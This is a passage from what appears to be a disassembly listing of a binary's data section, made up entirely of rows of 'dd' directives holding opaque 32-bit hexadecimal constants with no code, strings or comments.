		dd 75E0B164h, 793D2800h, 31241C94h, 2B7E00AFh, 1EBF0F9Fh
		dd 1B00D058h, 91F9D14h,	3F7C50h, 5379AA8Dh, 0EB708E6Ah
		dd 3B579EA0h, 0DDE14100h, 0DB07F8D5h, 0D93700B3h, 0AE097091h
		dd 761D776Eh, 0A080713Ch, 0D561C018h, 944F504Dh, 0B7EC6Fh
		dd 2AAFEE70h, 0B42D1A5Ch, 556C8700h, 7CBC2825h,	0FCDBFCA3h
		dd 0D670276h, 0BAF5EFC6h, 55C09263h, 0B400E7EEh, 0A852B3C3h
		dd 0A075F43Bh, 0F71FC94h, 51978CF7h, 0B13FB80h,	0E0E19967h
		dd 570CEE41h, 89B00273h, 6A112CDBh, 80E41F5Bh, 6F787798h
		dd 9979E6EBh, 286B6400h, 0C035D055h, 7CF702Ah, 8879A144h
		dd 0B378038h, 480EA2ECh, 0C61C5891h, 0A89B915h,	30D72610h
		dd 846E60D8h, 0CF4CF062h, 4E6F0038h, 0E151EF9Eh, 0FE723A0Ah
		dd 0D3053381h, 0D426E858h, 6E000F55h, 6FF18B7Fh, 0B846CC93h
		dd 4B280024h, 0FA292570h, 5CB0EA02h, 0DF057E03h, 0F039A723h
		dd 79318Ch, 0D14EC47h, 92D62056h, 97682A00h, 0E3941EEBh
		dd 2E8A004Fh, 6BA4D588h, 64010C9Bh, 24F67EE5h, 56A94CF9h
		dd 0C41B004Ch, 0EC76C7D2h, 8B062061h, 860ADE1h,	84E7590Fh
		dd 32804F3Dh, 8C299A2Bh, 0A7265D8Eh, 11003E36h,	5AF3EBD4h
		dd 5E12001Fh, 8EE8801h,	9A001D44h, 8560E990h, 16B9F511h
		dd 0E7B00Bh, 0FF47C890h, 0D41ECD0Dh, 778C4F19h,	263EE8E0h
		dd 120FB0Ah, 0E5505596h, 0D51880CFh, 0F87397E0h, 0B3B781Fh
		dd 0A481D076h, 80F970A4h, 64D74080h, 6AB810C0h,	1D3F526Bh
		dd 32437BBh, 0A11DAE43h, 1FB3D800h, 0F733DD73h,	0B62D000Ah
		dd 82638562h, 0AE9046E3h, 55525Ch, 81B3605Fh, 1E99301Dh
		dd 0AE9BCFh, 2122E487h,	0A1036F06h, 4CFF7DBCh, 5CD803EBh
		dd 9217D818h, 76BE3DB0h, 78614Ch, 0CB2EDBE2h, 7093BD26h
		dd 782900D4h, 0F8FDB477h, 0A700B25Eh, 27AECE2Bh, 733CFA84h
		dd 7E67B9Fh, 0D8FE73B6h, 5D6EB07Bh, 8E00728Bh, 0BE04A54Bh
		dd 7BB16D5h, 0CAD18D3h,	0C0405E25h, 62ABAACCh, 19F60107h
		dd 67F35B53h, 4A34A8CFh, 9A4700C5h, 97D25C2Dh, 0BB0052E9h
		dd 0F0B3034Dh, 21FAAC7h, 13176B53h, 0BF42A9DEh,	3A04F048h
		dd 57B67000h, 0F3E6DF3Ch, 0A0A72A3h, 5D12D12Fh,	2D2280E0h
		dd 0EDF88A99h, 3455E100h, 0BF5CD68Dh, 9581A077h, 7DE200B4h
		dd 60C166Ch, 0A8001CF2h, 0F83553Fh, 282FC8BCh, 2DD4A521h
		dd 31E009CCh, 0B0146C1Dh, 264B965h, 5249D7FEh, 71F88150h
		dd 6433B159h, 0BC7B6414h, 30D15809h, 69FA5C20h,	0FFCA255h
		dd 0C441E200h, 8E5934F9h, 0EA1C006Dh, 0D32703B4h, 18096019h
		dd 0C3B323h, 7F63D744h,	7DF303BAh, 91D6C6B2h, 76E5182Fh
		dd 429B01D6h, 40E31E4Fh, 0EB347880h, 79BEFC00h,	0E46D6BFEh
		dd 5530C0F7h, 65C78F51h, 0DFD40F00h, 14A14BD8h,	0F9DB00FCh
		dd 0D71577DEh, 0FD02EF02h, 95031E89h, 0FC9860C2h, 0A0170069h
		dd 0EB607377h, 0BA14252Dh, 9CC5482h, 9933508h, 2F8F0738h
		dd 48D7F1B0h, 0A46901C5h, 0D93E9D4Ch, 0EE0BD42Ch, 2939711Fh
		dd 0D6D5E400h, 58438141h, 1D00C322h, 2CD1E023h,	0CD079813h
		dd 0E9A4739Bh, 0EC3B9350h, 0B5B000E4h, 7A2731CEh, 1E985561h
		dd 0FCF1D81Ch, 0A13AB801h, 7030DD68h, 0E90307DFh, 0B0DEFFBAh
		dd 3A51A830h, 6CE78700h, 78110DEEh, 23F10047h, 0EC31384Bh
		dd 0A403D45Fh, 2AF63C6h, 0F91DF05Ch, 21A2006Eh,	0E237F75Dh
		dd 661E989Dh, 5840E689h, 0FE80CF29h, 2421C043h,	2EDC8C4h
		dd 56E80C60h, 0BD5F2Ah,	3B7346B4h, 0E9DA0749h, 8683BC00h
		dd 7B0A2C16h, 743D007Dh, 3E4273F4h, 9E006D5Bh, 53634F92h
		dd 0EC8C6289h, 0C55C04F7h, 803B3696h, 3C2DE78h,	9800E17Ch
		dd 894E4C24h, 0AF40C0h,	0F8D96D5Ah, 0FB6CC1DEh,	28BA3C3Dh
		dd 3E00D4EAh, 34BFEEBCh, 906723F8h, 6042005Ch, 0C18E78Bh
		dd 3700BA51h, 754D8569h, 0FF04DBh, 43A7E11Fh, 0FD3EF8D1h
		dd 53038A13h, 8D6AAD00h, 75351568h, 4FDA0004h, 85D05D3Eh
		dd 0B400CB09h, 6D419CB7h, 5882CF92h, 0EF004C5Ah, 0C0FA79D3h
		dd 20E70C35h, 0D524B17Ch, 1F0092D2h, 7663A7B0h,	4E8600D7h
		dd 66C72C69h, 8B00CA45h, 31D93F6Eh, 7917A4h, 1595C36Dh
		dd 263071B8h, 7BFB3C00h, 13A5DCF0h, 69170758h, 9095E7E8h
		dd 814A0F3Dh, 84F86B2Ah, 3652AB02h, 703C5399h, 0DCE84DA0h
		dd 2D454101h, 813DCA74h, 2B97ED10h, 0EC204D7Ah,	0CFA80153h
		dd 0C667B2F2h, 0B997303Eh, 2E5B8C02h, 4057D1E2h, 0A2C004h
		dd 1F53354Ah, 76BD4C98h, 347D79C2h, 948F95h, 5685332Ch
		dd 6CFA002Bh, 0E3B33C0Ch, 530020CEh, 0D7383E1Eh, 1C78D6ABh
		dd 0C0E1368Bh, 0AC05D192h, 0E513AFB3h, 840E5645h, 0D5E08031h
		dd 10426DA8h, 4CE157C2h, 23BD0FE4h, 0B14E40EDh,	703CA89h
		dd 43D03242h, 1320DF80h, 0EC285DBEh, 67F08400h,	0BDE23841h
		dd 9C3C16FCh, 0CF0C00F2h, 0A0BE0802h, 0F01B4700h, 0C5B44E37h
		dd 0A05258FEh, 6414DF00h, 0A5412A84h, 49E82C01h, 2D29D9Ah
		dd 4889D5D0h, 7D008EAFh, 1E9B7922h, 3200E936h, 4AF893DCh
		dd 29F8AB5h, 0CAD35544h, 90A03D84h, 472C40F5h, 99FEFB00h
		dd 58B47162h, 0A70F3AEDh, 6F8CC439h, 0F6C87578h, 0FD01DA09h
		dd 2D748095h, 98B17A90h, 3BD00018h, 204809EBh, 0DF00A764h
		dd 53068D1h, 0A073E84Eh, 733511CCh, 90F61359h, 40F040CBh
		dd 0BCBD3623h, 0FB0C8098h, 983CD2E0h, 9C81C908h, 90F8F484h
		dd 7BCDD51Ch, 180D3Ch, 6330B9FDh, 56FD835h, 34AD8D8Fh
		dd 0C9FC229Ch, 0D7C220B9h, 88180EC8h, 0F75ED41Eh, 9EC52680h
		dd 60EF4AE6h, 3A57E89Ah, 21014976h, 0ADBBB631h,	32D8B01Dh
		dd 60EF00ECh, 0D723BA91h, 87FAFD53h, 381DBBF4h,	880B2721h
		dd 9590783h, 685A1602h,	741834h, 1ACADC1h, 0B799E457h
		dd 7200BA77h, 0CF8C47E1h
		dd 1E9DFA91h, 3886B16h,	862AD99Bh, 1559D798h, 4850771Eh
		dd 0E9BC9100h, 352654h,	0E8D87573h, 7BD7ACE6h, 0F45C4C7Fh
		dd 0ADD50ED6h, 3AA8A0B7h, 1784B67h, 0DA8E2755h,	80613CC6h
		dd 477AC70h, 173FE1D1h,	42627Ah, 35967EF8h, 57002CC4h
		dd 3034A28Fh, 1E756DFBh, 0C0D73EFAh, 64AC569Eh,	85009135h
		dd 0F9BC8DEDh, 428FE0h,	39F2A8A5h, 1992601Fh, 2C22DE00h
		dd 46802FE2h, 7FFEA4h, 10E1DC4Ch, 8B0887B8h, 5C8C5001h
		dd 304DA01Fh, 72BE2881h, 0E8A90C01h, 910548A8h,	2775650Dh
		dd 7C6A0CEAh, 900DB29h,	7F1ECBFDh, 0E6EFE008h, 6C8F00F3h
		dd 0D5004A2h, 6600C1B9h, 0E2D422F6h, 0FA62EF19h, 30460068h
		dd 4D78DC77h, 0FFF6C81Eh, 0EA00FEF0h, 472DDD73h, 0BEDE92h
		dd 0C48111D8h, 644DDBBDh, 0E1595212h, 0E688DE00h, 0CF5C07B2h
		dd 67E08F10h, 0DBDED4F1h, 0EC82A807h, 52D09BB4h, 6303B3h
		dd 17C5FF02h, 0BECD0596h, 0DCDAB903h, 0DFCBA361h, 0E68B5D0h
		dd 0BF9301FEh, 0E7F96AE5h, 995BECA0h, 5DB7230Fh, 34F180AAh
		dd 1F128771h, 5E39EFh, 9763FA01h, 8C7B3E2Eh, 0D602300h
		dd 0DB5FF791h, 1E5AE00Fh, 0CBAA339Fh, 0E8001B5h, 0C32D1139h
		dd 89C1910Eh, 3CC37D3Bh, 0C83FA44Eh, 0A54945h, 0B871500Bh
		dd 0C3638C0Ah, 0A29F9200h, 47F2319Ah, 7F1D01D2h, 0DE986DAh
		dd 0A5AFE4BBh, 6306E200h, 0D664168Ah, 5C98C3E6h, 0E901BAA6h
		dd 8C2789F3h, 0A900C177h, 8F30CFF5h, 0E88778A1h, 0A2C31E23h
		dd 0A320F098h, 0B0C7B3CCh, 86602ABCh, 1F591229h, 40648234h
		dd 0DEC592FAh, 3700BF70h, 0FEA7F62Fh, 3E7E53h, 0B79BAAC1h
		dd 43598658h, 69D5F830h, 146E0BAh, 331D6F8Fh, 50192956h
		dd 6AB10EBCh, 0D0D1E628h, 34E4D300h, 0A27DE340h, 0C22005Dh
		dd 70B46ADAh, 0CC00F381h, 6C51D30Ah, 8641E8h, 7778E395h
		dd 0DE47C9CDh, 6A8E7200h, 9B2208ECh, 7D2E0010h,	53A48CD7h
		dd 3000C60Ah, 0FD7BBDA1h, 28B7BA76h, 0C986DECh,	179BFFACh
		dd 0DC00A9E0h, 4B3C6857h, 0EAE728BFh, 0CE3107ADh, 80FC4D1Ch
		dd 0FF8B95BBh, 92253307h, 66E1A030h, 0E2E01E07h, 0E0510027h
		dd 0BD04292Eh, 0F40E82B5h, 20A04DD7h, 2BBBDD3Ch, 5FEB00A1h
		dd 73CCA664h, 3200BF94h, 0D7DA8643h, 1C740DCAh,	0C0CD206Ch
		dd 0FB40035Ah, 0A600BD63h, 0D83DC3C4h, 3B93970h, 3EDCF1ADh
		dd 8F8A9426h, 7914D460h, 3C04B600h, 0EFB969CCh,	3798005Eh
		dd 0B161D420h, 0E200B7B2h, 7BD91005h, 4921F2h, 0BBCE375Ah
		dd 14895913h, 4BEEB500h, 2C3EC138h, 93DE002Ah, 590BEDB9h
		dd 0D500A795h, 4C8B34CBh, 53048Dh, 55746538h, 780B9998h
		dd 60027302h, 0E0DDE096h, 1FFE247Bh, 8730B4E3h,	0A023CB4Ch
		dd 0CF7CDE1Eh, 4B492200h, 0B2B0EC48h, 35F2002Eh, 0E3B17729h
		dd 0F007801Ah, 0FD4D4BBDh, 60AD0980h, 13E0127Ah, 1AD0003Ah
		dd 0AEBD7BA6h, 3590C000h, 8EC8FAD1h, 624200BCh,	803D748Dh
		dd 0B100A805h, 8CCB5C96h, 4B5E49h, 0C3C9CE2Ah, 4C54DAB3h
		dd 0CDE2FC03h, 0F8657D67h, 32DB07h, 0B3412620h,	35ECACB2h
		dd 39013601h, 0C4F9A91Bh, 275420h, 99974223h, 0EFA435FCh
		dd 0D689B400h, 55C1092h, 8E80ED5Eh, 0BE401F95h,	0DE008CD0h
		dd 8081790Fh, 78FA224Bh, 3E9FA60h, 53095C63h, 2000B449h
		dd 5918454Fh, 272D91h, 232BF18Dh, 34E1F6A9h, 1ECA473Dh
		dd 840329AAh, 0F0CDA682h, 0FFFA85h, 0A29B19E0h,	532518FCh
		dd 7FBF0201h, 0D6492F4Bh, 0C000B7E3h, 391DB5AFh, 0E6806BEDh
		dd 8133AE8Bh, 5C0093E4h, 0FF2465BFh, 3CF4FAFCh,	401F6712h
		dd 0E93C037Fh, 4A03546h, 0CF0022BAh, 1625533Bh,	37CEAF1h
		dd 3E8F62FDh, 4DD03209h, 0D0FC48A5h, 72055100h,	4E221439h
		dd 32FF006Eh, 6F70C626h, 64006D60h, 819502E5h, 0FB5C7Ah
		dd 86231B38h, 0AA137B7h, 0D41E04F4h, 55CFEC27h,	0CCB4205Eh
		dd 13A27B9Fh, 0F16AE3h,	4469E914h, 0C8EB62E1h, 4100BA61h
		dd 9BD78DE5h, 350E18h, 839D1CFFh, 0F22B556Ah, 87EAD00h
		dd 9F3DB805h, 434B0E47h, 5B64222Eh, 6B08C013h, 8B0A02EAh
		dd 0F4174DCFh, 4DB5000h, 689DE3h, 8D0D20C4h, 2587ACD1h
		dd 0BEB03D00h, 0DA6D8E34h, 2174DFh, 810B5B12h, 329992DCh
		dd 0B90A1300h, 7FF1A486h, 0EE8F0016h, 9DFEB1Bh,	2B1DFA6Ch
		dd 1AC79E4h, 40C9210Eh,	0A495554h, 313E01AAh, 84DBF439h
		dd 41198069h, 2DB8CA36h, 0BF11002Bh, 469CD924h,	790198F1h
		dd 0FD74E9BAh, 72FC3687h, 0B5220368h, 60FE67B2h, 98E125F3h
		dd 79843064h, 3E0040B0h, 0F161B6AEh, 2810A80h, 29C7C9A4h
		dd 46E0FEE2h, 45071E98h, 0D3C2EEECh, 0A0ADF5C1h, 0F29EF431h
		dd 98920086h, 6A779B76h, 1860C9F6h, 0D3F20E0h, 0B9491063h
		dd 0A4750E90h, 0CC9F00CBh, 347AE1h, 0D47871FFh,	208DE92Ch
		dd 67CA5000h, 62020B8Bh, 0D7F6014Bh, 0D49C6917h, 7EC5D8C0h
		dd 0A7F95728h, 0CCA259h, 2C013D5Bh, 1FB6BDDCh, 40165A8Fh
		dd 9375D12Dh, 26734D12h, 4E079506h, 0F765943h, 3AB1C7C1h
		dd 0D42BC03Fh, 7AD98B9h, 277B9300h, 0FE65EA6Ah,	2546005Dh
		dd 0ACC07C91h, 0FF05FB5Eh, 0DC9CF8EDh, 5900A01Eh, 88021ABBh
		dd 4C550069h, 0CDFC994h, 34164EF2h, 0AC05FE07h,	0C89286BBh
		dd 0E978E3B4h, 14306F17h, 5A590CCCh, 70D8E02Eh,	2001CB39h
		dd 0A51F13F2h, 0F594006Eh, 0AA2C3CF1h, 0A3115700h, 0D0203D2Dh
		dd 580FE72h, 0DDA0D5EDh, 3B448083h, 9A00690Ah, 2618BBA9h
		dd 0E2BA2F5Ch, 608E77BDh, 98F9D8C1h, 8D071221h,	22B61AB7h
		dd 3E88E600h, 44FB00C0h, 0DA953C7h, 99003B8Eh, 9CE47CF0h
		dd 344D5Eh, 0A78F914Ch,	0F34BA4BFh, 3E701D00h, 365A8A46h
		dd 0CFAE2E6Fh, 1F80EA4h, 28946ECAh, 25A51488h, 8C0080A3h
		dd 0A1F2AA08h, 2F0202C5h, 0FCFD625Fh, 0D6B44043h, 2D7121h
		dd 4EAA0129h, 1D30E613h, 8FE3E00h, 0AC660D90h, 70F01C2Fh
		dd 0AEBCC06Ch, 0ED58F206h, 0CE7D8700h, 495EFCD7h, 0C5370096h
		dd 5B0A7B78h, 0E6701060h, 46BC3Bh, 39FB4BC4h, 3A63750Eh
		dd 118F679Fh, 0DAE02FD4h, 509B2EDCh, 4F14E800h,	3C7D0396h
		dd 0B1A000CDh, 447520FCh, 9F00BBBCh, 4F016C77h,	895CD0h
		dd 33FDE38h, 47490A8Ah,	9FA62B12h, 0DFF9EE02h, 21ECC04Fh
		dd 0EA880085h, 73F704A1h, 7578A74Dh, 5B023200h,	0ADA91141h
		dd 500D00C1h, 7DD678C8h, 52002E5Dh, 24A2EAFCh, 1553575h
		dd 0CE39F13Bh, 0E566Dh,	0F0E3A6h, 0E450AF47h, 275C25F3h
		dd 94AA4301h, 319D0CFh,	0E5D783F2h, 4404D8F0h, 0F1B01F0Fh
		dd 0BF4AAD5h, 87C6DCC5h, 0F92F6700h, 973F518Ch,	798B0146h
		dd 80DCB363h, 0C06E62C2h, 9D6D45h, 0ACE5ECAh, 547ABDDAh
		dd 64123501h, 9ED02482h, 1401430h, 27095D4Ch, 20A5BDD4h
		dd 3000D2E0h, 7EEF2AC7h, 7D09BB5h, 0EB6AABAAh, 0AD80B0BBh
		dd 0FA53F055h, 0CE5D00A8h, 7F6C2041h, 569720FDh, 403F6900h
		dd 0CCDDE909h, 5294008Bh, 0D97A624Dh, 9900D710h, 5558E542h
		dd 3BBF80F8h, 76009318h, 0B983169Ah, 0D0F8BA0h,	610C233Bh
		dd 9EDB564h, 7DAFE00h, 10F5180h, 1AC273EAh, 65FBDE9Fh
		dd 3640F6B9h, 0D809D201h, 85E23C36h, 845AD37Ch,	0BB718058h
		dd 510CBCh, 1E96C430h, 0E27F7CD3h, 0D03E70B8h, 0DB007779h
		dd 0CD3AA853h, 1895B4F8h, 0EE5E948Ch, 0EE1C5D54h, 0A0403274h
		dd 0C4F38861h, 9F1D0097h
		dd 14738306h, 0F11F43D6h, 349FECF7h, 4FF56441h,	35ECD00Ch
		dd 0EBE0053h, 74099879h, 0C70093B2h, 0F6FE6057h, 34CFF9h
		dd 7E6901A5h, 16EB17A4h, 0BA25B290h, 845EBBh, 0AB0C4262h
		dd 4300BF8Fh, 0EB3C6A13h, 7FA4645h, 0E7B59F8h, 0F43B511Eh
		dd 0BEAAECABh, 4DECC16h, 5D3DCC00h, 1EC936BDh, 0D2D597h
		dd 0F0F220ABh, 72EC21DBh, 7B6D0601h, 6FA09B63h,	3CB7ECh
		dd 21912F58h, 7E11C8E2h, 9774680Fh, 1629E012h, 7FB396h
		dd 0F133FA8Bh, 15245A5Dh, 0A5606900h, 1DE9F673h, 98611EE1h
		dd 3AEB809Ch, 0A67DF546h, 282E3DF6h, 7E07CA79h,	0E4F004D8h
		dd 0F7E275h, 1586D660h,	96C6BEC3h, 92B88409h, 0B75D8020h
		dd 0A083FF5h, 2DB32B4Eh, 94E500EFh, 814099F9h, 0F2ADE01Eh
		dd 83C8A943h, 0BA46C806h, 0F7EF3A28h, 2F519100h, 3ECE658Eh
		dd 0B4294300h, 6F0CCD9Ch, 3F7F00D9h, 514B92FAh,	85000D5Eh
		dd 34CEC92Fh, 7CC7B5h, 66FEF988h, 0AA8C766Bh, 9E56593Fh
		dd 4404CC3h, 6785C0E1h,	24ADA0D1h, 538F0066h, 5A307E6Dh
		dd 0CD00F98Dh, 0BA84D0A2h, 1DEB897Ah, 5C61E972h, 81D31F4Bh
		dd 0D69638A4h, 0B211C809h, 5CA8C207h, 39410258h, 0F0C00543h
		dd 488503F9h, 0E5332BA2h, 56987FE0h, 17A7000h, 9B78EF8Ch
		dd 0A7F70042h, 3ED272DFh, 0C1006839h, 200D970Ch, 602F7562h
		dd 407C51CCh, 2A308B25h, 0E4011072h, 67130016h,	0E2021F9h
		dd 3A39E310h, 0FD4987E1h, 482CD094h, 634107F6h,	0A0F004CCh
		dd 0C5A302F4h, 27186203h, 0E8FF5271h, 134A6Bh, 3B59A4CFh
		dd 0E7204253h, 80E19D3Fh, 0FE7449DBh, 0FE17E828h, 4E2101F6h
		dd 767D6441h, 0C5B0E7F7h, 0A23E9EF1h, 0BB670793h, 0D600139Ah
		dd 330FA3h, 944BD773h, 6DE7C94Ah, 5F97CE00h, 9B6888F2h
		dd 365EEEFh, 4FC3A029h,	16F03202h, 750040FFh, 8C1E0AB0h
		dd 141DD8Ah, 0FE2CF433h, 80EFE9F7h, 1B3FBD58h, 0CC17D9h
		dd 5F1750Bh, 7E096F1Ch,	161AD101h, 6669FB46h, 8299C0h
		dd 0CF73BB32h, 68025AF3h, 4B65C400h, 14EADEE0h,	0DF833850h
		dd 4EAC7D00h, 530D7631h, 1BDD9F1Ch, 0E1AAFF80h,	1CD5E7h
		dd 136BC626h, 0EF390B23h, 9FFEA400h, 85CDF569h,	57780054h
		dd 2DF92476h, 9800460Dh, 0A907F08h, 0EDC518D1h,	98453FC0h
		dd 52A50058h, 89349EE2h, 95008CB3h, 0DF822449h,	200C0Ah
		dd 0E39C222Fh, 5D4DCCBBh, 0F04C3E17h, 0E9735F00h, 687C88h
		dd 0B2BAA3F9h, 0EAA59247h, 4079BD02h, 4013F84Ah, 36FBBE88h
		dd 0D8502BE9h, 3D5E100h, 11C35C02h, 1857C92h, 2A65BF8Dh
		dd 0E840077Bh, 1A1C6FDEh, 5D9CC57Ah, 88100407h,	60B6AC52h
		dd 31CF977h, 775F417Fh,	0CB86996h, 0F5EE3B9Dh, 2E42660Eh
		dd 0B2C180DCh, 12C5A0Dh, 93B11A6Eh, 0FFEDDB7Ah,	52BE1000h
		dd 6B2B45B3h, 425A0031h, 2FB6FE9h, 72008995h, 3A3F513Eh
		dd 0EAA902Ch, 166E777Eh, 0ED5A6481h, 0BB40ECDFh, 0D574B400h
		dd 0FDCC584Dh, 0C17E277h, 5514AD4Fh, 0E700A579h, 0B644A9C3h
		dd 49929Ah, 17913C29h, 8A1A744Dh, 89317C0Eh, 4ADCE0A7h
		dd 17EF082Ah, 15DDE3h, 2CCB6C20h, 0C1003EDEh, 55AA8595h
		dd 3C3C7E1Ch, 8B804061h, 692C471Fh, 1A016D86h, 0CB9EE8A2h
		dd 0A8A45BD5h, 6E6063Bh, 8750C167h, 0C000DE2Ch,	0BBCF04E2h
		dd 300DB761h, 0A9D0C136h, 0DE1E60B2h, 0A4048F1h, 0E5DCCFEh
		dd 8414003Fh, 8043751Eh, 0F4006886h, 7EF5836Eh,	5E98207h
		dd 659524C6h, 0BA64C098h, 0C7000C62h, 5F1DB3CBh, 727F1184h
		dd 6B69C0A1h, 249A07EDh, 0F2CA940Ch, 2719CFh, 264B93D3h
		dd 0E0E70AD6h, 56770C01h, 65B65728h, 7B3D8F0h, 0AAA22254h
		dd 12C24252h, 0D7EDB080h, 0A8A0639Bh, 66064159h, 4ACACE85h
		dd 60DC00C8h, 1B90EBE3h, 0BE00DF35h, 78288044h,	6D2363h
		dd 0FAF2FC72h, 3CD071C1h, 9A5D841Eh, 2E383B80h,	390241h
		dd 959D2AA4h, 0AFAAC9F9h, 0FA800DB0h, 890026D6h, 0D4B07297h
		dd 15D5DBF1h, 0BC3F3656h, 15F3500Ah, 87003CDCh,	0B4C607E9h
		dd 0AA1D6298h, 5DD8CF3Bh, 9D2EC591h, 240049D0h,	32719A5Eh
		dd 90602B47h, 8EFA1D06h, 0A09EC048h, 8FCFB107h,	0DBE30F9h
		dd 0F3202607h, 8870DFFCh, 7A86EBh, 0A481A569h, 70C0E67Bh
		dd 0EAB16B02h, 803AD5CDh, 0CA636EBFh, 68A101E8h, 87F01D01h
		dd 2EDA60DBh, 3DEE6509h, 8AC800BDh, 7DA8E6h, 0A5B5ED09h
		dd 281E80C9h, 5EE44Ch, 0A6A7BAD7h, 77FEF44Ah, 29671E43h
		dd 915AC060h, 0D09BE884h, 0E3EBA0CEh, 0D031C7D6h, 0FDA3C1Ah
		dd 186D977Eh, 114A3B80h, 0D400D0FBh, 229B3940h,	2825DBD7h
		dd 9E0477h, 6E50BF67h, 38B65511h, 0EAABB000h, 6B2C9613h
		dd 94AA001Eh, 54C4DF72h, 0AE1F3A73h, 80CA703Eh,	0F01C469h
		dd 8C7F4A37h, 0F9383080h, 98F714A8h, 3E719D00h,	245F30D8h
		dd 14490BCh, 1ED13129h,	0E0355AD6h, 2C04E155h, 155DE208h
		dd 566B890h, 0D9F10445h, 928DDF09h, 0A4E07EF4h,	8B061273h
		dd 0D3ACF7BEh, 565C4808h, 0E726AE01h, 0D8E1585Bh, 3E3D0393h
		dd 64080011h, 0C5274D2Ah, 0FAFE24DCh, 0AC8800BCh, 24B1F22Fh
		dd 47DEF703h, 908077B2h, 0C0EA48D4h, 0FD32128h,	0E906751Ch
		dd 3CC4D871h, 325500F0h, 7868420h, 0B092C6F2h, 88D03E09h
		dd 901CBE58h, 0DBE40710h, 10AA1378h, 759D2D09h,	86F8B0Eh
		dd 6C0072D0h, 0B4BA0580h, 9C8618A8h, 0E51460B3h, 810184F2h
		dd 337659D8h, 64EE26BFh, 7B212A3Ch, 0A53E0C94h,	0F0399F83h
		dd 9E087800h, 40ADCD3Dh, 0FA92007Fh, 2C1DAB3Ah,	0F0038E94h
		dd 65D92EBEh, 0DFA0093Ch, 0D100520Fh, 3AC130CCh, 8F073272h
		dd 0E6E2F1FFh, 0E1F0B2B7h, 60442Ah, 76926DB8h, 1F50B567h
		dd 0BE1E07FAh, 0F9817331h, 1153EDD1h, 0D72EEE40h, 0F83F2EAh
		dd 0B9C62F56h, 750E1F01h, 5C8BC0DCh, 45509A12h,	7495CC20h
		dd 0FE330059h, 84F0BC2Ch, 0BE005A96h, 3C7FC7FCh, 1D87011h
		dd 1001855Eh, 341D4C17h, 0F700A30Ch, 45367607h,	5C88B7h
		dd 866350CFh, 0D4FFBFBEh, 22118E12h, 9C3CC00h, 0FA515CAh
		dd 722BAF61h, 2D000E4Eh, 8DB09E2Eh, 0A3BE9403h,	1EB6BF7Dh
		dd 4157AF78h, 11C1C083h, 69D09817h, 35A7278h, 48BBDD58h
		dd 0FDB92706h, 7F853070h, 4AD13B02h, 80B0A771h,	0BA4669CCh
		dd 0D60D0037h, 866E29Dh, 0B30051BDh, 50AF893Bh,	0E01A5853h
		dd 5648004Ah, 62873AF8h, 370E21F9h, 67D7E92Dh, 507C0158h
		dd 80120018h, 76DFDD38h, 7498CA50h, 7BFD9200h, 43371A3Fh
		dd 176B0423h, 0C08FA9F2h, 0DA29941Ch, 133C6C00h, 0C9CC5425h
		dd 0F5AE0C9Dh, 0C01168D1h, 0E76BF61Fh, 1F9BD501h, 1880565Bh
		dd 99BC716Ah, 4E72B032h, 70076300h, 0AA91A5A2h,	725D00D5h
		dd 0B2879935h, 1B0023EAh, 83933226h, 156AB94Ch,	9CF7F34Ah
		dd 413CD81Dh, 0FB0E58D4h, 1C3BD456h, 10ADE900h,	6A08719Fh
		dd 0E1E30EAEh, 7B20AFC3h, 0CD2D4453h, 0BD00C4EAh, 0C8D6FBB3h
		dd 0E4504DAh, 414D74E2h, 5C739E23h, 0F61D50E8h,	14593B0Fh
		dd 3DE4E078h, 4238BCh, 9E0F0A40h, 7F4D1E2Ah, 0A8969100h
		dd 0EDC5DDC8h, 407C3FB3h, 299C3B80h, 0A4EB2390h, 0E62AAF01h
		dd 4D6B4B94h, 0E9AB70h,	3C15E544h, 3F0BA5Eh, 409A6E00h
		dd 0F13868C7h, 47B70072h, 3B0DC874h, 8E002DEAh,	5C988588h
		dd 90E3F6ACh, 0F43E3A2Ch, 48A6F980h, 0F8CCF27Dh, 4100C390h
		dd 793547D7h, 0E25FE4Bh
		dd 7DB31B20h, 812B5C60h, 916F4B4h, 98047902h, 54D02CDFh
		dd 147EF68h, 0E7C00494h, 226190ECh, 4BCC0F50h, 9C9760A6h
		dd 0F8B5CE9Fh, 0B3EA4CEEh, 8024C226h, 5312B324h, 0DD01F180h
		dd 1686D620h, 38204283h, 0E8490BDh, 2A343A27h, 0F282DBC0h
		dd 500F087h, 0D4A22C3h,	76CB8Ch, 1AAB1C14h, 0E8F5DBAh
		dd 0FF3F0F01h, 0E0B8B798h, 3B6F8E20h, 409F30D3h, 764D4B2Eh
		dd 44006489h, 91132973h, 959CDD00h, 4B7ADAACh, 0CEF609B9h
		dd 98A71272h, 0F40FF1B8h, 759BE035h, 0B605B473h, 3F710EFBh
		dd 4ECB9580h, 4D410006h, 335B5249h, 2D00CDDEh, 9360645Ah
		dd 7E876D9h, 0FFE5633Ah, 42F6D0A1h, 8A12539Eh, 20494DF3h
		dd 0C02902CDh, 0B0A4B12Fh, 0B270C8FCh, 0FEEEA04h, 0AF76F93Bh
		dd 0E6DFE260h, 0CF0021BCh, 8A94601Eh, 70F3E72h,	0FB6BBD95h
		dd 8F66908Ch, 0D7003C88h, 5D3D964h, 1E4EBF25h, 587A08h
		dd 74E6090Ah, 0DF00D438h, 3C2303DBh, 0C0A65127h, 5A65E0FCh
		dd 0CD7B8853h, 78C74B0Fh, 0E1C48061h, 3868B704h, 0AD87353Ch
		dd 77F09A9Fh, 0EB5531Ah, 0D0B7F5A0h, 8B658D3Ah,	0A7C83F95h
		dd 0A9C0B0A8h, 0FA41C949h, 0AEAC00D3h, 37295676h, 0A03C7FD9h
		dd 0ECFE8046h, 82576926h, 0C4BE526Fh, 77990879h, 641BF3B6h
		dd 0ADDCD0E8h, 3844003Ch, 849E5947h, 4EFC1A71h,	803CEC94h
		dd 3D857D0Eh, 0F8A3F8B0h, 48D000D9h, 0A6E3FC0Fh, 497B5CACh
		dd 0ED13AAF2h, 39A6Ah, 981542C2h, 7ECBB66Eh, 0F8A95B54h
		dd 7E680E02h, 0FAE82017h, 0E9F95Ah, 0FF12A594h,	252D1DC9h
		dd 0DCF748E0h, 8103508Fh, 12B626BBh, 0DFC0D4B3h, 2CA1964h
		dd 5CD60C54h, 44600E5Fh, 5609496h, 5B60C310h, 55EC00E6h
		dd 349B28B8h, 3006BDBh,	0E0FE2216h, 0EE848Bh, 7FF59E90h
		dd 0FDAE0E70h, 2F06CA03h, 0C8A1B2D1h, 18FF6F9h,	0B718273h
		dd 0D8C33435h, 0FE1E8B53h, 0BB80094Ah, 5FD8C50Eh, 0BF473F63h
		dd 6BD29F81h, 0C02ED6B8h, 0CC002879h, 37954ECFh, 831E9Dh
